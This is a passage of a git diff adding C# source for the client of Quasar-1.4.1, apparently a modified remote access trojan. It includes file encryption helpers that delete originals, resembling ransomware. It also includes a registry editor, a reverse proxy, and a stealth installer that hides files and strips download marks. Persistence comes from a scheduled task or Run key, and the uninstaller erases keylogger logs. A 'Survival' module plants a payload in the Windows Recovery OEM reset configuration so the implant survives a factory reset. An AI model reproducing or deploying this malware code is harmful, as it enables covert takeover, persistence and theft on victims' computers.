decrypt + byte[] decryptedBytes = DecryptBytes(encryptedBytes, password); + + string decryptedPath = filePath.Substring(0, filePath.Length - extensionToRemove.Length); + File.WriteAllBytes(decryptedPath, decryptedBytes); + File.Delete(filePath); + + return true; + } + catch + { + // Decryption failed - wrong key or corrupted file + return false; + } + } + + public static bool VerifyKey(string testFilePath, string password, string extension) + { + try + { + if (!File.Exists(testFilePath) || !testFilePath.EndsWith(extension)) + return false; + + byte[] fileBytes = File.ReadAllBytes(testFilePath); + + if (fileBytes.Length < 4) + return false; + + byte[] signatureBytes = new byte[4]; + Buffer.BlockCopy(fileBytes, 0, signatureBytes, 0, 4); + string signature = Encoding.ASCII.GetString(signatureBytes); + + if (signature != KEY_SIGNATURE) + return false; + + byte[] encryptedBytes = new byte[fileBytes.Length - 4]; + Buffer.BlockCopy(fileBytes, 4, encryptedBytes, 0, encryptedBytes.Length); + + // Try to decrypt - if it works, key is correct + byte[] decryptedBytes = DecryptBytes(encryptedBytes, password); + return decryptedBytes != null && decryptedBytes.Length > 0; + } + catch + { + return false; + } + } + + private static byte[] EncryptBytes(byte[] data, string password) + { + using (Aes aes = Aes.Create()) + { + aes.Key = DeriveKey(password); + aes.IV = new byte[16]; // Zero IV for simplicity + aes.Mode = CipherMode.CBC; + aes.Padding = PaddingMode.PKCS7; + + using (ICryptoTransform encryptor = aes.CreateEncryptor()) + { + return encryptor.TransformFinalBlock(data, 0, data.Length); + } + } + } + + private static byte[] DecryptBytes(byte[] data, string password) + { + using (Aes aes = Aes.Create()) + { + aes.Key = DeriveKey(password); + aes.IV = new byte[16]; // Zero IV + aes.Mode = CipherMode.CBC; + aes.Padding = PaddingMode.PKCS7; + + using (ICryptoTransform decryptor = aes.CreateDecryptor()) + { + return decryptor.TransformFinalBlock(data, 0, data.Length); + } + } + } + + private static byte[] DeriveKey(string password) + { + using (SHA256 sha256 = SHA256.Create()) + { + return sha256.ComputeHash(Encoding.UTF8.GetBytes(password)); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Registry/RegistryEditor.cs b/Quasar-1.4.1/Quasar.Client/Registry/RegistryEditor.cs new file mode 100755 index 0000000..0cf4272 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Registry/RegistryEditor.cs @@ -0,0 +1,399 @@ +using Microsoft.Win32; +using Quasar.Client.Extensions; +using Quasar.Client.Helper; +using Quasar.Common.Models; +using System; + +namespace Quasar.Client.Registry +{ + public class RegistryEditor + { + private const string REGISTRY_KEY_CREATE_ERROR = "Cannot create key: Error writing to the registry"; + + private const string REGISTRY_KEY_DELETE_ERROR = "Cannot delete key: Error writing to the registry"; + + private const string REGISTRY_KEY_RENAME_ERROR = "Cannot rename key: Error writing to the registry"; + + private const string REGISTRY_VALUE_CREATE_ERROR = "Cannot create value: Error writing to the registry"; + + private const string REGISTRY_VALUE_DELETE_ERROR = "Cannot delete value: Error writing to the registry"; + + private const string REGISTRY_VALUE_RENAME_ERROR = "Cannot rename value: Error writing to the registry"; + + private const string REGISTRY_VALUE_CHANGE_ERROR = "Cannot change value: Error writing to the registry"; + + /// + /// Attempts to create the desired sub key to the specified parent. + /// + /// The path to the parent for which to create the sub-key on. + /// output parameter that holds the name of the sub-key that was create. + /// output parameter that contains possible error message. + /// Returns true if action succeeded. + public static bool CreateRegistryKey(string parentPath, out string name, out string errorMsg) + { + name = ""; + try + { + RegistryKey parent = GetWritableRegistryKey(parentPath); + + + //Invalid can not open parent + if (parent == null) + { + errorMsg = "You do not have write access to registry: " + parentPath + ", try running client as administrator"; + return false; + } + + //Try to find available names + int i = 1; + string testName = String.Format("New Key #{0}", i); + + while (parent.ContainsSubKey(testName)) + { + i++; + testName = String.Format("New Key #{0}", i); + } + name = testName; + + using (RegistryKey child = parent.CreateSubKeySafe(name)) + { + //Child could not be created + if (child == null) + { + errorMsg = REGISTRY_KEY_CREATE_ERROR; + return false; + } + } + + //Child was successfully created + errorMsg = ""; + return true; + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + + } + + /// + /// Attempts to delete the desired sub-key from the specified parent. + /// + /// The name of the sub-key to delete. + /// The path to the parent for which to delete the sub-key on. + /// output parameter that contains possible error message. + /// Returns true if the operation succeeded. + public static bool DeleteRegistryKey(string name, string parentPath, out string errorMsg) + { + try + { + RegistryKey parent = GetWritableRegistryKey(parentPath); + + //Invalid can not open parent + if (parent == null) + { + errorMsg = "You do not have write access to registry: " + parentPath + ", try running client as administrator"; + return false; + } + + //Child does not exist + if (!parent.ContainsSubKey(name)) + { + errorMsg = "The registry: " + name + " does not exist in: " + parentPath; + //If child does not exists then the action has already succeeded + return true; + } + + bool success = parent.DeleteSubKeyTreeSafe(name); + + //Child could not be deleted + if (!success) + { + errorMsg = REGISTRY_KEY_DELETE_ERROR; + return false; + } + + //Child was successfully deleted + errorMsg = ""; + return true; + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + } + + /// + /// Attempts to rename the desired key. + /// + /// The name of the key to rename. + /// The name to use for renaming. + /// The path of the parent for which to rename the key. + /// output parameter that contains possible error message. + /// Returns true if the operation succeeded. + public static bool RenameRegistryKey(string oldName, string newName, string parentPath, out string errorMsg) + { + try + { + + RegistryKey parent = GetWritableRegistryKey(parentPath); + + //Invalid can not open parent + if (parent == null) + { + errorMsg = "You do not have write access to registry: " + parentPath + ", try running client as administrator"; + return false; + } + + //Child does not exist + if (!parent.ContainsSubKey(oldName)) + { + errorMsg = "The registry: " + oldName + " does not exist in: " + parentPath; + return false; + } + + bool success = parent.RenameSubKeySafe(oldName, newName); + + //Child could not be renamed + if (!success) + { + errorMsg = REGISTRY_KEY_RENAME_ERROR; + return false; + } + + //Child was successfully renamed + errorMsg = ""; + return true; + + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + } + + /// + /// Attempts to create the desired value for the specified parent. + /// + /// The path to the key for which to create the registry value on. + /// The type of the registry value to create. + /// output parameter that holds the name of the registry value that was create. + /// output parameter that contains possible error message. + /// Returns true if the operation succeeded. + public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, out string name, out string errorMsg) + { + name = ""; + try + { + RegistryKey key = GetWritableRegistryKey(keyPath); + + //Invalid can not open key + if (key == null) + { + errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator"; + return false; + } + + //Try to find available names + int i = 1; + string testName = String.Format("New Value #{0}", i); + + while (key.ContainsValue(testName)) + { + i++; + testName = String.Format("New Value #{0}", i); + } + name = testName; + + bool success = key.SetValueSafe(name, kind.GetDefault(), kind); + + //Value could not be created + if (!success) + { + errorMsg = REGISTRY_VALUE_CREATE_ERROR; + return false; + } + + //Value was successfully created + errorMsg = ""; + return true; + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + + } + + /// + /// Attempts to delete the desired registry value from the specified key. + /// + /// The path to the key for which to delete the registry value on. + /// /// The name of the registry value to delete. + /// output parameter that contains possible error message. + /// Returns true if the operation succeeded. + public static bool DeleteRegistryValue(string keyPath, string name, out string errorMsg) + { + try + { + RegistryKey key = GetWritableRegistryKey(keyPath); + + //Invalid can not open key + if (key == null) + { + errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator"; + return false; + } + + //Value does not exist + if (!key.ContainsValue(name)) + { + errorMsg = "The value: " + name + " does not exist in: " + keyPath; + //If value does not exists then the action has already succeeded + return true; + } + + bool success = key.DeleteValueSafe(name); + + //Value could not be deleted + if (!success) + { + errorMsg = REGISTRY_VALUE_DELETE_ERROR; + return false; + } + + //Value was successfully deleted + errorMsg = ""; + return true; + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + } + + /// + /// Attempts to rename the desired registry value. + /// + /// The name of the registry value to rename. + /// The name to use for renaming. + /// The path of the key for which to rename the registry value. + /// output parameter that contains possible error message. + /// Returns true if the operation succeeded. + public static bool RenameRegistryValue(string oldName, string newName, string keyPath, out string errorMsg) + { + try + { + RegistryKey key = GetWritableRegistryKey(keyPath); + + //Invalid can not open key + if (key == null) + { + errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator"; + return false; + } + + //Value does not exist + if (!key.ContainsValue(oldName)) + { + errorMsg = "The value: " + oldName + " does not exist in: " + keyPath; + return false; + } + + bool success = key.RenameValueSafe(oldName, newName); + + //Value could not be renamed + if (!success) + { + errorMsg = REGISTRY_VALUE_RENAME_ERROR; + return false; + } + + //Value was successfully renamed + errorMsg = ""; + return true; + + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + } + + /// + /// Attempts to change the value for the desired registry value for the + /// specified key. + /// + /// The registry value to change to in the form of a + /// RegValueData object. + /// The path to the key for which to change the + /// value of the registry value on. + /// output parameter that contains possible error message. + /// Returns true if the operation succeeded. + public static bool ChangeRegistryValue(RegValueData value, string keyPath, out string errorMsg) + { + try + { + RegistryKey key = GetWritableRegistryKey(keyPath); + + //Invalid can not open key + if (key == null) + { + errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator"; + return false; + } + + //Is not default value and does not exist + if (!RegistryKeyHelper.IsDefaultValue(value.Name) && !key.ContainsValue(value.Name)) + { + errorMsg = "The value: " + value.Name + " does not exist in: " + keyPath; + return false; + } + + bool success = key.SetValueSafe(value.Name, value.Data, value.Kind); + + //Value could not be created + if (!success) + { + errorMsg = REGISTRY_VALUE_CHANGE_ERROR; + return false; + } + + //Value was successfully created + errorMsg = ""; + return true; + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + + } + + public static RegistryKey GetWritableRegistryKey(string keyPath) + { + RegistryKey key = RegistrySeeker.GetRootKey(keyPath); + + if (key != null) + { + //Check if this is a root key or not + if (key.Name != keyPath) + { + //Must get the subKey name by removing root and '\\' + string subKeyName = keyPath.Substring(key.Name.Length + 1); + + key = key.OpenWritableSubKeySafe(subKeyName); + } + } + + return key; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Registry/RegistrySeeker.cs b/Quasar-1.4.1/Quasar.Client/Registry/RegistrySeeker.cs new file mode 100755 index 0000000..08caba5 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Registry/RegistrySeeker.cs @@ -0,0 +1,216 @@ +using Microsoft.Win32; +using Quasar.Client.Extensions; +using Quasar.Client.Helper; +using Quasar.Common.Models; +using System; +using System.Collections.Generic; + +namespace Quasar.Client.Registry +{ + public class RegistrySeeker + { + /// + /// The list containing the matches found during the search. + /// + private readonly List _matches; + + public RegSeekerMatch[] Matches => _matches?.ToArray(); + + public RegistrySeeker() + { + _matches = new List(); + } + + public void BeginSeeking(string rootKeyName) + { + if (!String.IsNullOrEmpty(rootKeyName)) + { + using(RegistryKey root = GetRootKey(rootKeyName)) + { + //Check if this is a root key or not + if (root != null && root.Name != rootKeyName) + { + //Must get the subKey name by removing root and '\' + string subKeyName = rootKeyName.Substring(root.Name.Length + 1); + using(RegistryKey subroot = root.OpenReadonlySubKeySafe(subKeyName)) + { + if(subroot != null) + Seek(subroot); + } + } + else + { + Seek(root); + } + } + } + else + { + Seek(null); + } + } + + private void Seek(RegistryKey rootKey) + { + // Get root registrys + if (rootKey == null) + { + foreach (RegistryKey key in GetRootKeys()) + //Just need root key so process it + ProcessKey(key, key.Name); + } + else + { + //searching for subkeys to root key + Search(rootKey); + } + } + + private void Search(RegistryKey rootKey) + { + string[] subKeyNames = null; + try + { + subKeyNames = rootKey.GetSubKeyNames(); + } + catch + { + // Access denied or other error - skip this key + return; + } + + // Process subkeys in batches to avoid memory issues + foreach(string subKeyName in subKeyNames) + { + try + { + using (RegistryKey subKey = rootKey.OpenReadonlySubKeySafe(subKeyName)) + { + ProcessKey(subKey, subKeyName); + } + } + catch + { + // If we can't open a specific subkey, add it as inaccessible but continue + AddMatch(subKeyName, RegistryKeyHelper.GetDefaultValues(), 0); + } + } + } + + private void ProcessKey(RegistryKey key, string keyName) + { + if (key != null) + { + List values = new List(); + int subKeyCount = 0; + + try + { + // Get value names with error handling + string[] valueNames = key.GetValueNames(); + + // Limit the number of values we read to prevent crashes (max 100 values per key) + int maxValues = Math.Min(valueNames.Length, 100); + + for (int i = 0; i < maxValues; i++) + { + try + { + string valueName = valueNames[i]; + RegistryValueKind valueType = key.GetValueKind(valueName); + object valueData = key.GetValue(valueName); + values.Add(RegistryKeyHelper.CreateRegValueData(valueName, valueType, valueData)); + } + catch + { + // Skip values that can't be read + continue; + } + } + + // Get subkey count safely + try + { + subKeyCount = key.SubKeyCount; + } + catch + { + subKeyCount = 0; + } + } + catch + { + // If we can't read values, just add the key with default values + } + + AddMatch(keyName, RegistryKeyHelper.AddDefaultValue(values), subKeyCount); + } + else + { + AddMatch(keyName, RegistryKeyHelper.GetDefaultValues(), 0); + } + } + + private void AddMatch(string key, RegValueData[] values, int subkeycount) + { + RegSeekerMatch match = new RegSeekerMatch {Key = key, Data = values, HasSubKeys = subkeycount > 0}; + + _matches.Add(match); + } + + public static RegistryKey GetRootKey(string subkeyFullPath) + { + string[] path = subkeyFullPath.Split('\\'); + try + { + switch (path[0]) // <== root; + { + case "HKEY_CLASSES_ROOT": + return RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry64); + case "HKEY_CURRENT_USER": + return RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64); + case "HKEY_LOCAL_MACHINE": + return RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64); + case "HKEY_USERS": + return RegistryKey.OpenBaseKey(RegistryHive.Users, RegistryView.Registry64); + case "HKEY_CURRENT_CONFIG": + return RegistryKey.OpenBaseKey(RegistryHive.CurrentConfig, RegistryView.Registry64); + default: + /* If none of the above then the key must be invalid */ + throw new Exception("Invalid rootkey, could not be found."); + } + } + catch (SystemException) + { + throw new Exception("Unable to open root registry key, you do not have the needed permissions."); + } + catch(Exception e) + { + throw e; + } + } + + public static List GetRootKeys() + { + List rootKeys = new List(); + try + { + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry64)); + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64)); + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64)); + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.Users, RegistryView.Registry64)); + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.CurrentConfig, RegistryView.Registry64)); + } + catch (SystemException) + { + throw new Exception("Could not open root registry keys, you may not have the needed permission"); + } + catch (Exception e) + { + throw e; + } + + return rootKeys; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/ReverseProxy/ReverseProxyClient.cs b/Quasar-1.4.1/Quasar.Client/ReverseProxy/ReverseProxyClient.cs new file mode 100755 index 0000000..d576268 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/ReverseProxy/ReverseProxyClient.cs @@ -0,0 +1,145 @@ +using Quasar.Common.Messages.ReverseProxy; +using System; +using System.Net; +using System.Net.Sockets; + +namespace Quasar.Client.ReverseProxy +{ + public class ReverseProxyClient + { + public const int BUFFER_SIZE = 8192; + + public int ConnectionId { get; private set; } + public Socket Handle { get; private set; } + public string Target { get; private set; } + public int Port { get; private set; } + public Networking.Client Client { get; private set; } + private byte[] _buffer; + private bool _disconnectIsSend; + + public ReverseProxyClient(ReverseProxyConnect command, Networking.Client client) + { + this.ConnectionId = command.ConnectionId; + this.Target = command.Target; + this.Port = command.Port; + this.Client = client; + this.Handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); + + //Non-Blocking connect, so there is no need for a extra thread to create + this.Handle.BeginConnect(command.Target, command.Port, Handle_Connect, null); + } + + private void Handle_Connect(IAsyncResult ar) + { + try + { + this.Handle.EndConnect(ar); + } + catch { } + + if (this.Handle.Connected) + { + try + { + this._buffer = new byte[BUFFER_SIZE]; + this.Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceive, null); + } + catch + { + Client.Send(new ReverseProxyConnectResponse + { + ConnectionId = ConnectionId, + IsConnected = false, + LocalAddress = null, + LocalPort = 0, + HostName = Target + }); + Disconnect(); + } + + IPEndPoint localEndPoint = (IPEndPoint)this.Handle.LocalEndPoint; + Client.Send(new ReverseProxyConnectResponse + { + ConnectionId = ConnectionId, + IsConnected = true, + LocalAddress = localEndPoint.Address.GetAddressBytes(), + LocalPort = localEndPoint.Port, + HostName = Target + }); + } + else + { + Client.Send(new ReverseProxyConnectResponse + { + ConnectionId = ConnectionId, + IsConnected = false, + LocalAddress = null, + LocalPort = 0, + HostName = Target + }); + } + } + + private void AsyncReceive(IAsyncResult ar) + { + //Receive here data from e.g. a WebServer + + try + { + int received = Handle.EndReceive(ar); + + if (received <= 0) + { + Disconnect(); + return; + } + + byte[] payload = new byte[received]; + Array.Copy(_buffer, payload, received); + Client.Send(new ReverseProxyData {ConnectionId = ConnectionId, Data = payload}); + } + catch + { + Disconnect(); + return; + } + + try + { + this.Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceive, null); + } + catch + { + Disconnect(); + return; + } + } + + public void Disconnect() + { + if (!_disconnectIsSend) + { + _disconnectIsSend = true; + //send to the Server we've been disconnected + Client.Send(new ReverseProxyDisconnect {ConnectionId = ConnectionId}); + } + + try + { + Handle.Close(); + } + catch { } + + Client.RemoveProxyClient(this.ConnectionId); + } + + public void SendToTargetServer(byte[] data) + { + try + { + Handle.Send(data); + } + catch { Disconnect(); } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Setup/ClientInstaller.cs b/Quasar-1.4.1/Quasar.Client/Setup/ClientInstaller.cs new file mode 100755 index 0000000..a6d929c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Setup/ClientInstaller.cs @@ -0,0 +1,102 @@ +using Quasar.Client.Config; +using Quasar.Client.Extensions; +using Quasar.Common.Helpers; +using System; +using System.Diagnostics; +using System.IO; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client.Setup +{ + public class ClientInstaller : ClientSetupBase + { + public void ApplySettings() + { + if (Settings.STARTUP) + { + var clientStartup = new ClientStartup(); + clientStartup.AddToStartup(Settings.INSTALLPATH, Settings.STARTUPKEY); + } + + if (Settings.INSTALL && Settings.HIDEFILE) + { + try + { + File.SetAttributes(Settings.INSTALLPATH, FileAttributes.Hidden); + } + catch (Exception ex) + { + Debug.WriteLine(ex); + } + } + + if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY)) + { + try + { + DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(Settings.INSTALLPATH)); + di.Attributes |= FileAttributes.Hidden; + } + catch (Exception ex) + { + Debug.WriteLine(ex); + } + } + } + + public void Install() + { + // create target dir + if (!Directory.Exists(Path.GetDirectoryName(Settings.INSTALLPATH))) + { + Directory.CreateDirectory(Path.GetDirectoryName(Settings.INSTALLPATH)); + } + + // delete existing file + if (File.Exists(Settings.INSTALLPATH)) + { + try + { + File.Delete(Settings.INSTALLPATH); + } + catch (Exception ex) + { + if (ex is IOException || ex is UnauthorizedAccessException) + { + // kill old process running at destination path + Process[] foundProcesses = + Process.GetProcessesByName(Path.GetFileNameWithoutExtension(Settings.INSTALLPATH)); + int myPid = Process.GetCurrentProcess().Id; + foreach (var prc in foundProcesses) + { + // dont kill own process + if (prc.Id == myPid) continue; + // only kill the process at the destination path + if (prc.GetMainModuleFileName() != Settings.INSTALLPATH) continue; + prc.Kill(); + Thread.Sleep(2000); + break; + } + } + } + } + + File.Copy(Application.ExecutablePath, Settings.INSTALLPATH, true); + + ApplySettings(); + + FileHelper.DeleteZoneIdentifier(Settings.INSTALLPATH); + + //start file + var startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = true, + UseShellExecute = false, + FileName = Settings.INSTALLPATH + }; + Process.Start(startInfo); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Setup/ClientSetupBase.cs b/Quasar-1.4.1/Quasar.Client/Setup/ClientSetupBase.cs new file mode 100755 index 0000000..ea84bc2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Setup/ClientSetupBase.cs @@ -0,0 +1,14 @@ +using Quasar.Client.User; + +namespace Quasar.Client.Setup +{ + public abstract class ClientSetupBase + { + protected UserAccount UserAccount; + + protected ClientSetupBase() + { + UserAccount = new UserAccount(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Setup/ClientStartup.cs b/Quasar-1.4.1/Quasar.Client/Setup/ClientStartup.cs new file mode 100755 index 0000000..8774ace --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Setup/ClientStartup.cs @@ -0,0 +1,52 @@ +using Microsoft.Win32; +using Quasar.Client.Helper; +using Quasar.Common.Enums; +using System.Diagnostics; + +namespace Quasar.Client.Setup +{ + public class ClientStartup : ClientSetupBase + { + public void AddToStartup(string executablePath, string startupName) + { + if (UserAccount.Type == AccountType.Admin) + { + ProcessStartInfo startInfo = new ProcessStartInfo("schtasks") + { + Arguments = "/create /tn \"" + startupName + "\" /sc ONLOGON /tr \"" + executablePath + + "\" /rl HIGHEST /f", + UseShellExecute = false, + CreateNoWindow = true + }; + + Process p = Process.Start(startInfo); + p.WaitForExit(1000); + if (p.ExitCode == 0) return; + } + + RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, + "Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName, executablePath, + true); + } + + public void RemoveFromStartup(string startupName) + { + if (UserAccount.Type == AccountType.Admin) + { + ProcessStartInfo startInfo = new ProcessStartInfo("schtasks") + { + Arguments = "/delete /tn \"" + startupName + "\" /f", + UseShellExecute = false, + CreateNoWindow = true + }; + + Process p = Process.Start(startInfo); + p.WaitForExit(1000); + if (p.ExitCode == 0) return; + } + + RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, + "Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Setup/ClientUninstaller.cs b/Quasar-1.4.1/Quasar.Client/Setup/ClientUninstaller.cs new file mode 100755 index 0000000..364b94d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Setup/ClientUninstaller.cs @@ -0,0 +1,52 @@ +using Quasar.Client.Config; +using Quasar.Client.IO; +using System; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Text.RegularExpressions; +using System.Windows.Forms; + +namespace Quasar.Client.Setup +{ + public class ClientUninstaller : ClientSetupBase + { + public void Uninstall() + { + if (Settings.STARTUP) + { + var clientStartup = new ClientStartup(); + clientStartup.RemoveFromStartup(Settings.STARTUPKEY); + } + + if (Settings.ENABLELOGGER && Directory.Exists(Settings.LOGSPATH)) + { + // this must match the keylogger log files + Regex reg = new Regex(@"^\d{4}\-(0[1-9]|1[012])\-(0[1-9]|[12][0-9]|3[01])$"); + + foreach (var logFile in Directory.GetFiles(Settings.LOGSPATH, "*", SearchOption.TopDirectoryOnly) + .Where(path => reg.IsMatch(Path.GetFileName(path))).ToList()) + { + try + { + File.Delete(logFile); + } + catch (Exception) + { + // no important exception + } + } + } + + string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath); + + ProcessStartInfo startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Setup/ClientUpdater.cs b/Quasar-1.4.1/Quasar.Client/Setup/ClientUpdater.cs new file mode 100755 index 0000000..3141724 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Setup/ClientUpdater.cs @@ -0,0 +1,38 @@ +using Quasar.Client.Config; +using Quasar.Client.IO; +using Quasar.Common.Helpers; +using System; +using System.Diagnostics; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Client.Setup +{ + public class ClientUpdater : ClientSetupBase + { + public void Update(string newFilePath) + { + FileHelper.DeleteZoneIdentifier(newFilePath); + + var bytes = File.ReadAllBytes(newFilePath); + if (!FileHelper.HasExecutableIdentifier(bytes)) + throw new Exception("No executable file."); + + string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath); + + ProcessStartInfo startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); + + if (Settings.STARTUP) + { + var clientStartup = new ClientStartup(); + clientStartup.RemoveFromStartup(Settings.STARTUPKEY); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Survival/RSFuncs.cs b/Quasar-1.4.1/Quasar.Client/Survival/RSFuncs.cs new file mode 100755 index 0000000..124ac63 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Survival/RSFuncs.cs @@ -0,0 +1,325 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Xml.Linq; + +namespace Quasar.Client.Survival +{ + internal class RSFuncs + { + private static readonly Random random = new Random(); + private static readonly string SystemDrive = Path.GetPathRoot(Environment.SystemDirectory); + private static readonly string OEMPath = Path.Combine(RSFuncs.SystemDrive, "Recovery", "OEM"); + private static readonly string OEMDataBackupPath = Path.Combine(RSFuncs.OEMPath, "XRSBackupData"); + private static readonly string ResetConfigPath = Path.Combine(RSFuncs.OEMPath, "ResetConfig.xml"); + private static ISender _client; + + private static string GenerateRandomString(int length) + { + return new string(Enumerable.Repeat("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", length).Select((Func)(s => s[RSFuncs.random.Next(s.Length)])).ToArray()); + } + + private static void SendLog(string logtype, string log) + { + RSFuncs._client.Send(new NewSurvivalLog + { + Log = log, + LogType = logtype + }); + } + + public static bool CreateEnvironment() + { + if (!Directory.Exists(RSFuncs.OEMPath)) + { + try + { + Directory.CreateDirectory(RSFuncs.OEMPath); + } + catch (Exception ex) + { + RSFuncs.SendLog("error", ex.Message); + return false; + } + } + if (Directory.Exists(RSFuncs.OEMDataBackupPath)) + return false; + Directory.CreateDirectory(RSFuncs.OEMDataBackupPath); + return true; + } + + public static void InstallFile(ISender client, byte[] fileBytes, string extension) + { + RSFuncs._client = client; + if (RSFuncs.CreateEnvironment()) + RSFuncs.SendLog("success", "Invalid file bytes or file extension"); + else + RSFuncs.SendLog("error", "Already Installed!"); + List stringList = new List(); + string path2 = RSFuncs.GenerateRandomString(20) + extension; + stringList.Add(path2); + try + { + File.WriteAllBytes(Path.Combine(RSFuncs.OEMPath, path2), fileBytes); + } + catch + { + RSFuncs.SendLog("error", "No access!"); + return; + } + RSFuncs.SendLog("success", "Stub successfully written"); + string payload = RSFuncs.CreatePayload("cmd /c %TARGETOSDRIVE%\\Recovery\\OEM\\" + path2, false); + string basicResetFileName = RSFuncs.GenerateRandomString(20) + ".bat"; + string factoryResetFileName = RSFuncs.GenerateRandomString(20) + ".bat"; + if (RSFuncs.BackupCurrentConfig(basicResetFileName, factoryResetFileName, stringList.ToArray())) + RSFuncs.SendLog("success", "Successfully backed up current config"); + else + RSFuncs.SendLog("error", "Error backing up current config"); + RSFuncs.CreateOrUpdateResetConfig(basicResetFileName, factoryResetFileName, payload); + RSFuncs.SendLog("complete", "Successfully Installed!"); + } + + private static string CreatePayload(string command, bool UseEscaped = true) + { + string randomString = RSFuncs.GenerateRandomString(20); + string str = !UseEscaped ? command : command.Replace("%", "%%").Replace("^", "^^").Replace("&", "^&").Replace("|", "^|").Replace("<", "^<").Replace(">", "^>").Replace("\"", "\"\""); + return "\r\n@echo off\r\nfor /F \"tokens=1,2,3 delims= \" %%A in ('reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\RecoveryEnvironment\" /v TargetOS') DO SET TARGETOS=%%C\r\n\r\nfor /F \"tokens=1 delims=\\\" %%A in ('Echo %TARGETOS%') DO SET TARGETOSDRIVE=%%A\r\n\r\nreg load HKLM\\" + randomString + " %TARGETOSDRIVE%\\windows\\system32\\config\\SOFTWARE\r\n\r\nreg add HKLM\\" + randomString + "\\Microsoft\\Windows\\CurrentVersion\\RunOnce /v " + randomString + " /t REG_SZ /d \"" + str + "\"\r\n\r\nreg unload HKLM\\" + randomString + "\r\n\r\n\r\n"; + } + + private static bool BackupCurrentConfig( + string basicResetFileName, + string factoryResetFileName, + string[] additionalDeletes = null) + { + List contents = new List() + { + basicResetFileName, + factoryResetFileName + }; + if (additionalDeletes != null) + contents.AddRange((IEnumerable)additionalDeletes); + try + { + File.WriteAllLines(Path.Combine(RSFuncs.OEMDataBackupPath, "DELETEME"), (IEnumerable)contents); + } + catch + { + return false; + } + if (File.Exists(RSFuncs.ResetConfigPath)) + { + try + { + File.Copy(RSFuncs.ResetConfigPath, Path.Combine(RSFuncs.OEMDataBackupPath, "configBackup"), true); + } + catch + { + return false; + } + } + return true; + } + + private static void CreateOrUpdateResetConfig( + string basicResetFileName, + string factoryResetFileName, + string payload) + { + if (!File.Exists(RSFuncs.ResetConfigPath)) + RSFuncs.CreateNewResetConfig(basicResetFileName, factoryResetFileName, payload); + else + RSFuncs.UpdateExistingResetConfig(basicResetFileName, factoryResetFileName, payload); + } + + private static void CreateNewResetConfig( + string basicResetFileName, + string factoryResetFileName, + string payload) + { + new XDocument(new XDeclaration("1.0", "utf-8", (string)null), new object[1] + { + (object) new XElement((XName) "Reset", new object[2] + { + (object) RSFuncs.CreateRunElement("BasicReset_AfterImageApply", basicResetFileName, 1), + (object) RSFuncs.CreateRunElement("FactoryReset_AfterImageApply", factoryResetFileName, 1) + }) + }).Save(RSFuncs.ResetConfigPath); + RSFuncs.SaveScriptFile(basicResetFileName, payload); + 